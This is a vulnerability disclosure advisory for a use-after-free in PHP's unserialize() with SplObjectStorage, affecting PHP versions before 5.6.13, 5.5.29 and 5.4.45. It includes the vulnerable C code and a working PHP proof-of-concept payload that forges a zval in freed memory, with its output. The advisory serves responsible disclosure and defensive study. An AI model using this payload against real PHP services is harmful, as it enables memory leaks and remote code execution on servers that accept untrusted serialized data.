Yet Another Use After Free Vulnerability in unserialize() with SplObjectStorage

Taoguang Chen <[@chtg](http://github.com/chtg)>
Write Date: 2015.8.27
Release Date: 2015.9.4

A use-after-free vulnerability was discovered in unserialize() with SplObjectStorage object's deserialization and crafted object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.13
Affected is PHP 5.5 < 5.5.29
Affected is PHP 5.4 < 5.4.45

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------


    ALLOC_INIT_ZVAL(pentry);
    if (!php_var_unserialize(&pentry, &p, s + buf_len, &var_hash TSRMLS_CC)) {
      zval_ptr_dtor(&pentry);
      goto outexcept;
    }
    if(Z_TYPE_P(pentry) != IS_OBJECT) {
      goto outexcept;
    }
    ALLOC_INIT_ZVAL(pinf);
    if (*p == ',') { /* new version has inf */
      ++p;
      if (!php_var_unserialize(&pinf, &p, s + buf_len, &var_hash TSRMLS_CC)) {
        zval_ptr_dtor(&pinf);
        goto outexcept;
      }
    }


It has been demonstrated many times before that __wakeup() leads to
ZVAL is freed from memory. However during deserialization will still
allow to use R: or r: to set references to that already freed memory.
It is possible to use-after-free attack and execute arbitrary code
remotely.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.


<?php

class obj {
  var $ryat;
  function __wakeup() {
    $this->ryat = 1;
  }
}

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'x:i:1;O:8:"stdClass":0:{},i:1;;m:a:0:{}';
$exploit = 'a:5:{i:0;i:1;i:1;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;R:6;i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';

$data = unserialize($exploit);

var_dump($data);

function ptr2str($ptr)
{
  $out = '';
  for ($i = 0; $i < 8; $i++) {
    $out .= chr($ptr & 0xff);
    $ptr >>= 8;
  }
  return $out;
}

?>


Test the PoC on the command line:


$ php uafpoc.php
array(5) {
  [0]=>
  int(1)
  [1]=>
  &int(1)
  [2]=>
  object(obj)#3 (1) {
    ["ryat"]=>
    &int(1)
  }
  [3]=>
  int(1122334455)  <===  so we can control the memory and create fake ZVAL :)
  [4]=>
  string(24) "?v?B????"
}